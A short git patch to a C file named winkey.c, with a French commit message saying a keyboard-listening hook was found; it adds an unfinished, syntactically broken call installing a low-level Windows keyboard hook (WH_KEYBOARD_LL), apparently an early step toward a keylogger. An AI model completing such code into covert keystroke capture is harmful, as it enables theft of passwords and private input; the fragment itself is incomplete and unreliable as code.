From ed3615b987760e3b08b441f927be40d65f165145 Mon Sep 17 00:00:00 2001 From: H3XploR <73852348+H3XploR@users.noreply.github.com> Date: Fri, 27 Mar 2026 21:41:34 +0100 Subject: [PATCH] fonction de hook pour ecouter les jeyboard est trouve --- winkey.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/winkey.c b/winkey.c index dd2918e..548aa87 100644 --- a/winkey.c +++ b/winkey.c @@ -10,6 +10,8 @@ */ int main(void){ BOOL is_running = 1; - HWND hdWindowForeground = GetForegroundWindow(); + HWND hdWindowForeground = GetFocus(); + HHOOK HookFgWind = SetWindowsHookExA(WH_KEYBOARD_LL, + return 0; }